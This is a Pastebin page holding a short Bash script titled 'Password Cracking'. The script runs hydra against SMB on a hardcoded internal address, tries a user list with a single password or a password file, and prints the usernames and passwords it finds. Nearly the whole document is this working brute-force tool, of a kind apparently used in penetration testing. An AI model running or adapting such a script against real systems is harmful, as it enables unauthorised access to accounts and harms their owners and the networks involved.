leonteale

Password Cracking

Oct 24th, 2013
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.58 KB | None | 0 0
  1. #!/bin/bash
  2. # Leon Teale - leonteale.co.uk @leonteale
  3. ## Setting Coloured variables
  4. red=`echo -e "\033[31m"`
  5. lcyan=`echo -e "\033[36m"`
  6. yellow=`echo -e "\033[33m"`
  7. green=`echo -e "\033[32m"`
  8. blue=`echo -e "\033[34m"`
  9. purple=`echo -e "\033[35m"`
  10. normal=`echo -e "\033[m"`
  11.  
  12. if (( $# != 2 ))
  13. then
  14.         echo "Usage: ./secrev.sh users.txt password"
  15.         echo "or"
  16.         echo "Usage: ./secrev.sh users.txt passwords.txt"
  17.         exit 1
  18. fi
  19.  
  20. input1=$1
  21. input2=$2
  22.  
  23. if [ -f "${input2}" ] ;
  24. then
  25.  
  26. hydra -L $input1 -P $input2 -V 10.21.1.59 smb | grep smb > /tmp/foundpasses.txt
  27.  
  28. if
  29.         grep smb /tmp/foundpasses.txt
  30. then
  31.         clear
  32.         echo ""
  33.         cat /tmp/foundpasses.txt | grep smb |  grep -vE "attacking service" | awk {'print "user:"$5, " ", "pass: "$7 '} | column -t
  34.         echo ""
  35.          echo "$yellow Users found with a password from '$2': ($red`cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | wc -l`$yellow)$normal"
  36. else
  37.         echo "No users found with any password in '$2'"
  38. fi
  39.  
  40.        
  41. else
  42.  
  43. hydra -L $input1 -p $input2 -V 10.21.1.59 smb | grep smb > /tmp/foundpasses.txt
  44.  
  45. if
  46.         grep smb /tmp/foundpasses.txt
  47. then
  48.         clear
  49.         echo ""
  50.         cat /tmp/foundpasses.txt | grep smb |  grep -vE "attacking service" | awk {'print "user:"$5, " ", "pass: "$7 '}
  51.         echo ""
  52.          echo "$yellow Users found with password of '$2': ($red`cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | wc -l`$yellow)$normal"
  53. else
  54.         echo "No users found with the password of '$2'"
  55. fi
  56.  
  57. fi
Add Comment
Please, Sign In to add comment